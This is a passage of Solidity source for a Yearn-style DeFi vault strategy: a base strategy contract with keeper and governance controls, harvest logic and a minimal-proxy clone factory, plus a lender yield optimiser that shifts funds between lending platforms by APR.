strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0), "The strategist's new address cannot be the same as the ZERO ADDRESS!"); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0), "The keeper's new address cannot be the same as the ZERO ADDRESS!"); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0), "The reward's new address cannot be the same as the ZERO ADDRESS!"); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by DeFi Yield Technology). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by DeFi Yield Technology). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/vladZokyo/DeFiYieldTechnology/blob/dev/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault), "Only the vault can call migrate strategy!"); require(BaseStrategy(_newStrategy).vault() == vault, "New strategy vault must be equalt to old vault!"); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } abstract contract BaseStrategyInitializable is BaseStrategy { bool public isOriginal = true; event Cloned(address indexed clone); constructor(address _vault) public BaseStrategy(_vault) {} function initialize( address _vault, address _strategist, address _rewards, address _keeper ) external virtual { _initialize(_vault, _strategist, _rewards, _keeper); } function clone(address _vault) external returns (address) { require(isOriginal, "!clone"); return this.clone(_vault, msg.sender, msg.sender, msg.sender); } function clone( address _vault, address _strategist, address _rewards, address _keeper ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone_code, 0x14), addressBytes) mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) newStrategy := create(0, clone_code, 0x37) } BaseStrategyInitializable(newStrategy).initialize(_vault, _strategist, _rewards, _keeper); emit Cloned(newStrategy); } } // File: contracts/Strategies/StrategyLenderYieldOptimiser/GenericLender/IGenericLender.sol interface IGenericLender { function lenderName() external view returns (string memory); function nav() external view returns (uint256); function strategy() external view returns (address); function apr() external view returns (uint256); function weightedApr() external view returns (uint256); function withdraw(uint256 amount) external returns (uint256); function emergencyWithdraw(uint256 amount) external; function deposit() external; function withdrawAll() external returns (bool); function hasAssets() external view returns (bool); function aprAfterDeposit(uint256 amount) external view returns (uint256); function setDust(uint256 _dust) external; function sweep(address _token) external; } // File: contracts/Strategies/StrategyLenderYieldOptimiser/WantToEthOracle/IWantToEth.sol interface IWantToEth { function wantToEth(uint256 input) external view returns (uint256); function ethToWant(uint256 input) external view returns (uint256); } // File: contracts/Strategies/StrategyLenderYieldOptimiser/Strategy.sol interface IUni { function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); } /******************** * * This strategy works by taking plugins designed for standard lending platforms * It automatically chooses the best yield generating platform and adjusts accordingly * The adjustment is sub optimal so there is an additional option to manually set position * ********************* */ contract StrategyLenderYieldOptimiser is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 public withdrawalThreshold = 1e16; uint256 public constant SECONDSPERYEAR = 31556952; IGenericLender[] public lenders; bool public externalOracle; // default is false address public wantToEthOracle; event Cloned(address indexed clone); constructor(address _vault, address _uniswapRouter, address _weth) public BaseStrategy(_vault) { if (_uniswapRouter != address(0)) { uniswapRouter = _uniswapRouter; } if (_weth != address(0)) { weth = _weth; } debtThreshold = 100 * 1e18; } function clone(address _vault) external returns (address newStrategy) { newStrategy = this.clone(_vault, msg.sender, msg.sender, msg.sender); } function clone( address _vault, address _strategist, address _rewards, address _keeper ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone_code, 0x14), addressBytes) mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) newStrategy := create(0, clone_code, 0x37) } StrategyLenderYieldOptimiser(newStrategy).initialize(_vault, _strategist, _rewards, _keeper); emit Cloned(newStrategy); } function initialize( address _vault, address _strategist, address _rewards, address _keeper ) external virtual { _initialize(_vault, _strategist, _rewards, _keeper); } function setWithdrawalThreshold(uint256 _threshold) external onlyAuthorized { withdrawalThreshold = _threshold; } function setPriceOracle(address _oracle) external onlyAuthorized { wantToEthOracle = _oracle; } function name() external view override returns (string memory) { return "StrategyLenderYieldOptimiser"; } //management functions //add lenders for the strategy to choose between // only governance to stop strategist adding dodgy lender function addLender(address a) public onlyGovernance { IGenericLender n = IGenericLender(a); require(n.strategy() == address(this), "Undocked Lender"); for (uint256 i = 0; i < lenders.length; i++) { require(a != address(lenders[i]), "Already Added"); } lenders.push(n); } //but strategist can remove for safety function safeRemoveLender(address a) public onlyAuthorized { _removeLender(a, false); } function forceRemoveLender(address a) public onlyAuthorized { _removeLender(a, true); } //force removes the lender even if it still has a balance function _removeLender(address a, bool force) internal { for (uint256 i = 0; i < lenders.length; i++) { if (a == address(lenders[i])) { bool allWithdrawn = lenders[i].withdrawAll(); if (!force) { require(allWithdrawn, "WITHDRAW FAILED"); } //put the last index here //remove last index if (i != lenders.length - 1) { lenders[i] = lenders[lenders.length - 1]; } //pop shortens array by 1 thereby deleting the last index lenders.pop(); //if balance to spend we might as well put it into the best lender if (want.balanceOf(address(this)) > 0) { adjustPosition(0); } return; } } require(false, "NOT LENDER"); } //we could make this more gas efficient but it is only used by a view function struct lendStatus { string name; uint256 assets; uint256 rate; address add; } //Returns the status of all lenders attached the strategy function lendStatuses() public view returns (lendStatus[] memory) { lendStatus[] memory statuses = new lendStatus[](lenders.length); for (uint256 i = 0; i < lenders.length; i++) { lendStatus memory s; s.name = lenders[i].lenderName(); s.add = address(lenders[i]); s.assets = lenders[i].nav(); s.rate = lenders[i].apr(); statuses[i] = s; } return statuses; } // lent assets plus loose assets function estimatedTotalAssets() public view override returns (uint256) { uint256 nav = lentTotalAssets(); nav = nav.add(want.balanceOf(address(this))); return nav; } function numLenders() public view returns (uint256) { return lenders.length; } //the weighted apr of all lenders. sum(nav * apr)/totalNav function estimatedAPR() public view returns (uint256) { uint256 bal = estimatedTotalAssets(); if (bal == 0) { return 0; } uint256 weightedAPR = 0; for (uint256 i = 0; i < lenders.length; i++) { weightedAPR = weightedAPR.add(lenders[i].weightedApr()); } return weightedAPR.div(bal); } //Estimates the impact on APR if we add more money. It does not take into account adjusting position function _estimateDebtLimitIncrease(uint256 change) internal view returns (uint256) { uint256 highestAPR = 0; uint256 aprChoice = 0; uint256 assets = 0; for (uint256 i = 0; i < lenders.length; i++) { uint256 apr = lenders[i].aprAfterDeposit(change); if (apr > highestAPR) { aprChoice = i; highestAPR = apr; assets = lenders[i].nav(); } } uint256 weightedAPR = highestAPR.mul(assets.add(change)); for (uint256 i = 0; i < lenders.length; i++) { if (i != aprChoice) { weightedAPR = weightedAPR.add(lenders[i].weightedApr()); } } uint256 bal = estimatedTotalAssets().add(change); return weightedAPR.div(bal); } //Estimates debt limit decrease. It is not accurate and should only be used for very broad decision making function _estimateDebtLimitDecrease(uint256 change) internal view returns (uint256) { uint256 lowestApr = uint256(-1); uint256 aprChoice = 0; for (uint256 i = 0; i < lenders.length; i++) { uint256 apr = lenders[i].aprAfterDeposit(change); if (apr < lowestApr) { aprChoice = i; lowestApr = apr; } } uint256 weightedAPR = 0; for (uint256 i = 0; i < lenders.length; i++) { if (i != aprChoice) { weightedAPR = weightedAPR.add(lenders[i].weightedApr()); } else { uint256 asset = lenders[i].nav(); if (asset < change) { //simplistic. not accurate change = asset; } weightedAPR = weightedAPR.add(lowestApr.mul(change)); } } uint256 bal = estimatedTotalAssets().add(change); return weightedAPR.div(bal); } //estimates highest and lowest apr lenders. Public for debugging purposes but not much use to general public function estimateAdjustPosition() public view returns ( uint256 _lowest, uint256 _lowestApr, uint256 _highest, uint256 _potential ) { //all loose assets are to be invested uint256 looseAssets = want.balanceOf(address(this)); // our simple algo // get the lowest apr strat // cycle through and see who could take its funds plus want for the highest apr _lowestApr = uint256(-1); _lowest = 0; uint256 lowestNav = 0; for (uint256 i = 0; i < lenders.length; i++) { if (lenders[i].hasAssets()) { uint256 apr = lenders[i].apr(); if (apr < _lowestApr) { _lowestApr = apr; _lowest = i; lowestNav = lenders[i].nav(); } } } uint256 toAdd = lowestNav.add(looseAssets); uint256 highestApr = 0; _highest = 0; for (uint256 i = 0; i < lenders.length; i++) { uint256 apr; apr = lenders[i].aprAfterDeposit(looseAssets); if (apr > highestApr) { highestApr = apr; _highest = i; } } //if we can improve apr by withdrawing we do so _potential = lenders[_highest].aprAfterDeposit(toAdd); } //gives estiomate of future APR with a change of debt limit. Useful for governance to decide debt limits function estimatedFutureAPR(uint256 newDebtLimit) public view returns (uint256) { uint256 oldDebtLimit = vault.strategies(address(this)).totalDebt; uint256 change; if (oldDebtLimit < newDebtLimit) { change = newDebtLimit - oldDebtLimit; return _estimateDebtLimitIncrease(change); } else { change = oldDebtLimit - newDebtLimit; return _estimateDebtLimitDecrease(change); } } //cycle all lenders and collect balances function lentTotalAssets() public view returns (uint256) { uint256 nav = 0; for (uint256 i = 0; i < lenders.length; i++) { nav = nav.add(lenders[i].nav()); } return nav; } // we need to free up profit plus _debtOutstanding. // If _debtOutstanding is more than we can free we get as much as possible // should be no way for there to be a loss. we hope... function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { _profit = 0; _loss = 0; //for clarity _debtPayment = _debtOutstanding; uint256 lentAssets = lentTotalAssets(); uint256 looseAssets = want.balanceOf(address(this)); uint256 total = looseAssets.add(lentAssets); if (lentAssets == 0) { //no position to harvest or profit to report if (_debtPayment > looseAssets) { //we can only return looseAssets _debtPayment = looseAssets; } return (_profit, _loss, _debtPayment); } uint256 debt = vault.strategies(address(this)).totalDebt; if (total > debt) { _profit = total - debt; uint256 amountToFree = _profit.add(_debtPayment); //we need to add outstanding to our profit //dont need to do logic if there is nothiing to free if (amountToFree > 0 && looseAssets < amountToFree) { //withdraw what we can withdraw _withdrawSome(amountToFree.sub(looseAssets)); uint256 newLoose = want.balanceOf(address(this)); //if we dont have enough money adjust _debtOutstanding and only change profit if needed if (newLoose < amountToFree) { if (_profit > newLoose) { _profit = newLoose; _debtPayment = 0; } else { _debtPayment = Math.min(newLoose - _profit, _debtPayment); } } } } else { //serious loss should never happen but if it does lets record it accurately _loss = debt - total; uint256 amountToFree = _loss.add(_debtPayment); if (amountToFree > 0 && looseAssets < amountToFree) { //withdraw what we can withdraw _withdrawSome(amountToFree.sub(looseAssets)); uint256 newLoose = want.balanceOf(address(this)); //if we dont have enough money adjust _debtOutstanding and only change profit if needed if (newLoose < amountToFree) { if (_loss > newLoose) { _loss = newLoose; _debtPayment = 0; } else { _debtPayment = Math.min(newLoose - _loss, _debtPayment); } } } } } /* * Key logic. * The algorithm moves assets from lowest return to highest * like a very slow idiots bubble sort * we ignore debt outstanding for an easy life */ function adjustPosition(uint256 _debtOutstanding) internal override { _debtOutstanding; //ignored. we handle it in prepare return //emergency exit is dealt with at beginning of harvest if (emergencyExit) { return; } //we just keep all money in want if we dont have any lenders if (lenders.length == 0) { return; } (uint256 lowest, uint256 lowestApr, uint256 highest, uint256 potential) = estimateAdjustPosition(); if (potential > lowestApr) { //apr should go down after deposit so wont be withdrawing from self lenders[lowest].withdrawAll(); } uint256 bal = want.balanceOf(address(this)); if (bal > 0) { want.transfer(address(lenders[highest]), bal); lenders[highest].deposit(); } } struct lenderRatio { address lender; //share x 1000 uint16 share; } //share must add up to 1000. 500 means 50% etc function manualAllocation(lenderRatio[] memory _newPositions) public onlyAuthorized { uint256 share = 0; for (uint256 i = 0; i < lenders.length; i++) { lenders[i].withdrawAll(); } uint256 assets = want.balanceOf(address(this)); for (uint256 i = 0; i < _newPositions.length; i++) { bool found = false; //might be annoying and expensive to do this second loop but worth it for safety for (uint256 j = 0; j < lenders.length; j++) { if (address(lenders[j]) == _newPositions[i].lender) { found = true; } } require(found, "NOT LENDER"); share = share.add(_newPositions[i].share); uint256 toSend = assets.mul(_newPositions[i].share).div(1000); want.transfer(_newPositions[i].lender, toSend); IGenericLender(_newPositions[i].lender).deposit(); } require(share == 1000, "SHARE!=1000"); } //cycle through withdrawing from worst rate first function _withdrawSome(uint256 _amount) internal returns (uint256 amountWithdrawn) { if (lenders.length == 0) { return 0; } //dont withdraw dust if (_amount < withdrawalThreshold) { return 0; } amountWithdrawn = 0; //most situations this will only run once. Only big withdrawals will be a gas guzzler uint256 j = 0; while (amountWithdrawn < _amount) { uint256 lowestApr = uint256(-1); uint256 lowest = 0; for (uint256 i = 0; i < lenders.length; i++) { if (lenders[i].hasAssets()) { uint256 apr = lenders[i].apr(); if (apr < lowestApr) { lowestApr = apr; lowest = i; } } } if (!lenders[lowest].hasAssets()) { return amountWithdrawn; } amountWithdrawn = amountWithdrawn.add(lenders[lowest].withdraw(_amount - amountWithdrawn)); j++; //dont want infinite loop if (j >= 6) { return amountWithdrawn; } } } /* * Liquidate as many assets as possible to `want`, irregardless of slippage, * up to `_amountNeeded`. Any excess should be re-invested here as well. */ function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) { uint256 _balance = want.balanceOf(address(this)); if (_balance >= _amountNeeded) { //if we don't set reserve here withdrawer will be sent our full balance return (_amountNeeded, 0); } else { uint256 received = _withdrawSome(_amountNeeded - _balance).add(_balance); if (received >= _amountNeeded) { return (_amountNeeded, 0); } else { return (received, 0); } } } function ethToWant(uint256 _amount) public override view returns (uint256) { // If currency is eth so no change. if (weth == address(want)) { return _amount; } address[] memory path = new address[](2); path[0] = weth; path[1] = address(want); uint256[] memory amounts = IUni(uniswapRouter).getAmountsOut(_amount, path); return amounts[amounts.length - 1]; } function _callCostToWant(uint256 callCost) internal view returns (uint256) { uint256 wantCallCost; //three situations //1 currency is eth so no change. //2 we use uniswap swap price //3 we use external oracle if (address(want) == weth) { wantCallCost = callCost; } else if (wantToEthOracle == address(0)) { wantCallCost = ethToWant(callCost); } else { wantCallCost = IWantToEth(wantToEthOracle).ethToWant(callCost); } return wantCallCost; } function tendTrigger(uint256 callCost) public view override returns (bool) { // make sure to call tendtrigger with same callcost as harvestTrigger if (harvestTrigger(callCost)) { return false; } //now let's check if there is better apr somewhere else. //If there is and profit potential is worth changing then lets do it (uint256 lowest, uint256 lowestApr, , uint256 potential) = estimateAdjustPosition(); //if protential > lowestApr it means we are changing horses if (potential > lowestApr) { uint256 nav = lenders[lowest].nav(); //To calculate our potential profit increase we work out how much extra //we would make in a typical harvest interlude. That is maxReportingDelay //then we see if the extra profit is worth more than the gas cost * profitFactor //safe math not needed here //apr is scaled by 1e18 so we downscale here uint256 profitIncrease = (nav.mul(potential) - nav.mul(lowestApr)).div(1e18).mul(maxReportDelay).div(SECONDSPERYEAR); uint256 wantCallCost = _callCostToWant(callCost); return (wantCallCost.mul(profitFactor) < profitIncrease); } } function liquidateAllPositions() internal override returns (uint256 _amountFreed) { _amountFreed = _withdrawSome(lentTotalAssets()); } /* * revert if we can't withdraw full balance */ function prepareMigration(address _newStrategy) internal override { uint256 outstanding = vault.strategies(address(this)).totalDebt; (, uint256 loss, uint256 wantBalance) = prepareReturn(outstanding); } function 